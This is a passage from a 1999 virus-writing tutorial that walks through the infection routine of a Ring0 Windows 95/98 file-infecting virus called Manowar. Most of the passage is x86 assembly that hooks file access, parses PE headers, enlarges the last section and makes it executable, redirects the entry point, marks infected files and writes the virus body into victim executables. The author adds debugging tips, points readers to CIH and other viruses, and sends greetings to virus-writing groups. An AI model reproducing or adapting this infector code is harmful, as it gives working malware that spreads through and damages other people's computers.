        mov eax, R0_OPENCREATFILE            ;
        call Ring0_File_IO                   ;
        jc notexe                            ;
        mov dword ptr [edi+handle-start], eax; save handle

If the carry flag gets set we have an error and we must exit. Otherwise we save the handle for later. Let's read from the file. First we must read the MS-DOS old header:

        lea edx, [edi+my_mz_header-start]    ; read MZ dos header
        mov ebx, dword ptr [edi+handle-start]; file handle
        mov ecx, IMAGE_DOS_HEADER_SIZE       ; size of mz header
        mov esi, 0                           ; pointer in file
        mov eax, R0_READFILE                 ;
        xchg esi, edx                        ;
        call Ring0_File_IO                   ;

And now check if it is really an exe file:

        lea esi, [edi+my_mz_header-start]    ;
        mov ax, word ptr [esi.MZ_magic]      ; iz the Magic sign there?
        cmp ax, 5A4Dh                        ;
        jne fileclose                        ;

Now let's locate the PE header. If it is too far away, something is wrong and we exit. Otherwise we go there and read both the PE header and the optional header. The CRT_MOVE variable will hold the file pointer so we know where to read from:

        mov esi, dword ptr [esi.MZ_lfanew]   ; locate PE header
        cmp esi, 500h                        ; is PE header very far away?
        ja fileclose                         ;
                                             ;
        mov dword ptr [edi+crt_move-start], esi ; save our movement in file
        mov dword ptr [edi+peheader-start], esi ;
                                             ;
        lea edx, [edi+my_pe_header-start]    ; Read the PE header
        mov ebx, dword ptr [edi+handle-start];
        mov ecx, IMAGE_FILE_HEADER_SIZE+IMAGE_OPTIONAL_HEADER_SIZE
        mov eax, R0_READFILE                 ;
        xchg esi, edx                        ;
        call Ring0_File_IO                   ;
                                             ;
        add dword ptr [edi+crt_move-start],\ ; increase our movement
                      IMAGE_FILE_HEADER_SIZE +  \ ; in the file
                      IMAGE_OPTIONAL_HEADER_SIZE  ;

We read those too!! Let's see if it is a PE header really, and also quit if we have a library file:

        lea esi, [edi+my_pe_header-start]         ;
        cmp dword ptr [esi.PE_Magic], 00004550h   ; 'PE'/0/0 ?
        jne fileclose                             ;
                                                  ;
        cmp word ptr [esi.Characteristics], 2000h ; DLL?
        je fileclose                              ;

We are about to start the infection procedures. First we locate the last section and we read it:

                                             ; let's search the last section
        xor eax, eax                         ; header start
        mov ax, word ptr [esi.NumberOfSections]; EAX = HOW MANY SECTIONS
        mov ecx, IMAGE_SECTION_HEADER_SIZE   ;   ECX = SIZE OF SECTION
        dec eax                              ; looking for the last
        mul ecx                              ; we found the displacement
        mov esi, eax                         ; displacement
        add esi, dword ptr [edi+crt_move-start]; align entire displacement
        mov dword ptr [edi+sec_ptr-start], esi; save section header place
                                             ;
        lea edx, [edi+my_section-start]      ; read the last section
        mov ecx, IMAGE_SECTION_HEADER_SIZE   ;
        mov ebx, dword ptr [edi+handle-start];
        xchg esi, edx                        ;
        mov eax, R0_READFILE                 ;
        call Ring0_File_IO                   ;

After we read the last section, we first verify if the file wasn't already infected and if no, we save different values that we will need later:

        lea esi, [edi+my_oh_header-start]    ; save various stuff in PE header
        cmp dword ptr [esi.OH_Win32VersionValue], 'MWAR'; already?
        je fileclose                                    ;

        mov eax, dword ptr [esi.OH_SectionAlignment]    ; Section align
        mov [edi+S_Align-start], eax                    ;
        mov eax, dword ptr [esi.OH_FileAlignment]       ; File align
        mov [edi+F_Align-start], eax                    ;
        mov eax, dword ptr [esi.OH_AddressOfEntryPoint] ; Original EIP
        mov [edi+Old_EIP-start], eax                    ;
        mov eax, dword ptr [esi.OH_SizeOfImage]         ; Size of image
        mov [edi+SOI-start], eax                        ;
        mov eax, dword ptr [esi.OH_ImageBase]           ; Image base
        mov [edi+imagebase-start], eax                  ;

So, here is where you save the original victim's entrypoint and the image base which you absolutely need in order to be able to run the original file. The SizeOfImage is a field you must update and the alignements are used later.

Now we start updating the section. First we increase the size of raw data with the virus size and we align it to file alignement. Also we save the place that the virus will be copied to (original PointerToRawData + original VirtualSize). Also, we must increase the VirtualSize, but this doesn't get aligned:

        lea esi, [edi+my_section-start]      ; point the last section
        mov eax, dword ptr [esi.SH_PointerToRawData];
        add eax, dword ptr [esi.SH_VirtualSize] ;
        mov dword ptr [edi+virusplace-start], eax
        mov eax, dword ptr [esi.SH_SizeOfRawData] ;
        add eax, virussize                   ;
        mov ecx, dword ptr [edi+F_Align-start]; and align it to the file
        push eax                             ; alignment
        push ecx                             ;
        xor edx, edx                         ;
        div ecx                              ;
        pop ecx                              ;
        sub ecx, edx                         ;
        pop eax                              ;
        add eax, ecx                         ;
        mov dword ptr [esi.SH_SizeOfRawData], eax ; and store it
        mov eax, dword ptr [esi.SH_VirtualSize] ; and now increase VirtualSize
        add eax, virussize                   ; with the virus length
        mov dword ptr [esi.SH_VirtualSize], eax ;

Now we must set the new characteristics for the section. The section must contain code, be executable and writable:

        or dword ptr [esi.SH_Characteristics], 00000020h ; code
        or dword ptr [esi.SH_Characteristics], 20000000h ; executable
        or dword ptr [esi.SH_Characteristics], 80000000h ; writable

Now we must adjust stuff inside the PE header itself. First, the size of image which is aligned to section alignment:

        lea esi, [edi+my_oh_header-start]    ; point PE header
        mov eax, dword ptr [edi+SOI-start]   ; Get OldSizeOfImage
        add eax, virussize                   ; increase it and then
        mov ecx, dword ptr [edi+S_Align-start] ; align it to the section
        push eax                             ; alignement
        push ecx                             ;
        xor edx, edx                         ;
        div ecx                              ;
        pop ecx                              ;
        sub ecx, edx                         ;
        pop eax                              ;
        add eax, ecx                         ;
        mov dword ptr [esi.OH_SizeOfImage], eax ;

Now let's modify the Address of Entrypoint to point to our virus. This is Old Virtual Address + New Virtual Size - Virus size:

        lea esi, [edi+my_section-start]      ; point section again
        mov eax, dword ptr [esi.SH_VirtualAddress];
        add eax, dword ptr [esi.SH_VirtualSize];
        sub eax, virussize                   ;
        lea esi, [edi+my_oh_header-start]    ;
        mov dword ptr [esi.OH_AddressOfEntryPoint], eax ;

Also, mark the infection:

        mov dword ptr [esi.OH_Win32VersionValue], 'MWAR'; inf. marker...

We are done with the header and section adjustments. Now let's write them back to the file. Remember to use the proper position in the file when writing it!!

        lea edx, [edi+my_section-start]      ; write section to file
        mov ecx, IMAGE_SECTION_HEADER_SIZE   ;
        mov ebx, dword ptr [edi+handle-start];
        mov eax, R0_WRITEFILE                ;
        mov esi, dword ptr [edi+sec_ptr-start];
        xchg edx, esi                        ;
        call Ring0_File_IO                   ;
                                             ;
        lea edx, [edi+my_pe_header-start]    ; write headers to file
        mov ecx, IMAGE_FILE_HEADER_SIZE+\
                 IMAGE_OPTIONAL_HEADER_SIZE  ;
        mov ebx, dword ptr [edi+handle-start];
        mov eax, R0_WRITEFILE                ;
        mov esi, dword ptr [edi+peheader-start];
        xchg edx, esi                        ;
        call Ring0_File_IO                   ;

After we did all this, before writing the actual virus to the victim we must restore the VxD calls I was talking about before. You will ask, ok you restore them, but still after this you must use them, so, they will get damaged again... True! But... all the VxD calls that get damaged again are _AFTER_ the lines below. So even if they get damaged, next time the code runs, before going over them damaged it goes over the next lines and restores them. The _ABOVE_ VxD calls are already restored!! Hope you got it:

        mov cx, 20cdh                        ; The VxD call must look like
        mov word ptr [edi+fix_1-start], cx   ; this:
        mov eax, fix_1_value                 ;      Int 20h
        mov dword ptr [edi+fix_1-start+2], eax ;    dw service
        mov word ptr [edi+fix_2-start], cx   ;      dw vxd
        mov eax, fix_2_value                 ;
        mov dword ptr [edi+fix_2-start+2], eax ; Here we simply restore them
        mov word ptr [edi+fix_3-start], cx   ; because at runtime they get
        mov eax, fix_3_value                 ; changed to call [some address]
        mov dword ptr [edi+fix_3-start+2], eax ;
        mov word ptr [edi+fix_4-start], cx   ;
        mov eax, fix_4_value                 ;
        mov dword ptr [edi+fix_4-start+2], eax ;

Now is the time to write our virus to the file:

        mov edx, edi                         ; write virus to file
        mov ecx, virussize                   ;
        mov ebx, dword ptr [edi+handle-start];
        mov eax, R0_WRITEFILE                ;
        mov esi, dword ptr [edi+virusplace-start];
        xchg edx, esi                        ;
        call Ring0_File_IO                   ;

That's it!!!! Ready! The virus has attached itself to the victim. All we need to do now is to close the file:

fileclose:                                   ;
        mov ebx, dword ptr [edi+handle-start];
        mov eax, R0_CLOSEFILE                ;
        call Ring0_File_IO                   ;

Finito!!!! Now we restore all registers, restore all parameters and push them back to the stack and call the old file hook, letting all the things go as if nothing happened:

notexe: ; popa ; ; over_now: ; mov byte ptr [edi+flag-start], 0 ; reset the flag mov eax, [ebp+28] ; here we have the old params push eax ; pushed for the old hook mov eax, [ebp+24] ; push eax ; restore them... mov eax, [ebp+20] ; push eax ; mov eax, [ebp+16] ; push eax ; mov eax, [ebp+12] ; push eax ; mov eax, [ebp+8] ; push eax ; ; db 0b8h ; nexthook dd 0 ; call [eax] ; ...and call old hook address ; add esp, 6*4 ; restore stack ; pop edi ; restore regs pop esi ; pop ebx ; ; leave ; and flee... ret ;

Basically this is the end of the file. What's left is the definition for the Ring0 File Input/Output:

fix_4_value equ Ring0_FileIO+256*256*IFSMgr  ;
fix_4:                                       ;
Ring0_File_IO:                               ;
        vxdcall IFSMgr, Ring0_FileIO         ;
        ret                                  ;

This is it... A simple, yet reliable, fast and short Windows95/98 virus. To get a really good grip on the things, browse the real source code for the Manowar 1.0 virus. Also, other very good Ring0 viruses are CIH, Fuck Harry, Next Step, Sexy, and others. However, Quantum's viruses use a special way of getting ring0.

To make a Ring0 virus is not at all an easy task. First of all, it is almost imposible to debug. I think only SoftIce could do this, but I particulary don't like it... So, one way of debugging it, if you cannot get it work is the debug beep. Here is a small routine that makes a beep. It only works if you are in Ring0 and was written by Z0mbie:

 beep:
       pushad
       mov ax, 1000
       mov bx, 200
       mov cx, ax
       mov al, 0b6h
       out 43h, al
       mov dx, 0012h
       mov ax, 34dch
       div cx
       out 42h, al
       mov al, ah
       out 42h, al
       in al, 61h
       mov ah, al
       or al, 03h
       out 61h, al
       l1:
       mov ecx, 4680
       l2:
       loop l2
       dec bx
       jnz l1
       mov al, ah
       out 61h, al
       popad
       ret

Everytime you don't know why your code doesn't work, insert a call to the beep routine. Usually you put them after the VxD calls. If the beep is heard than it's ok. Otherwise some parameters are not ok... Also, be very carefull inside the API_hook routine. ALL and I mean ALL file accesses run through here. If you mess one parameter up very nasty things may happen (remember that windows swaps memory chunks to the swap file in order to have more memory; a mistake in your code might make it loose data and create cross or lost links). So, check very carefull your code. At the first error, reboot imediatelly... Anyway you will get rebooted a thousand times until you make it ;-)

Final word

As a final word here... This method of Ring0 will not last long. That is because the WindowsNT is so well armoured against the user to reach Ring0 that is almost impossible to do it. There is however a way to do it by using Int2E (check RBLIST), but this is not documented and might change. In the near future I will post a new article regarding win32 api residency using the process spawn method. I think that method is much more reliable. Until then, the Ring0 method seems to work pretty ok... Check my Manowar test virus. It infects goat.exe files and sends beeps. Pretty nice for a start... Anyway, like I shared all this with you, even if you knew it already, I tried to concentrate it in an article, please get back to me with any kind of info and I will give you full credit in my future articles and code... Probably my next code will be however my polymorphic engine that works on 32bits...

Greetings

Nothing in this article wouldn't have been possible without the ideas of great coders like:

                Z0mbie
                Super
                Quantum
                Blue Skull
                Murkry
                B0z0

Most of the stuff in here I learned from them... Also, my personal greetings go to the groups:

                  SLAM, 29A, DDT, XZINE, CODEBREAKERS, PWV

Also, a special greet to: VirtualDaemon, Mr.Sandman, Darkman, TheUnforgiven, JQwerty. Great Dudez!!

And a greet to the rockiest band in the world: MANOWAR !!!

                We met on English ground
                   In a backstage true we heard the sound
                      And we all knew
                          What we had to do!!

                Manowar, born to live forevermore
                Born to conquer every shore!!!

                          DEATH TO FALSE METAL  !!
                             KILL WITH POWER !!

Future

I was thinking to write something here too, but it looks like I already wrote most of the stuff in the final word. I don't know, maybe I'll get married pretty soon (got tired of walking to her and her to me, mainly ;-(). Anyway, I'll try to keep up the work, maintain the list and maybe get in touch with you more!! See you!

        Make love, not war...
        Oh, hell! Make them both: Get married!!

Be well,

Lord Julus - 1999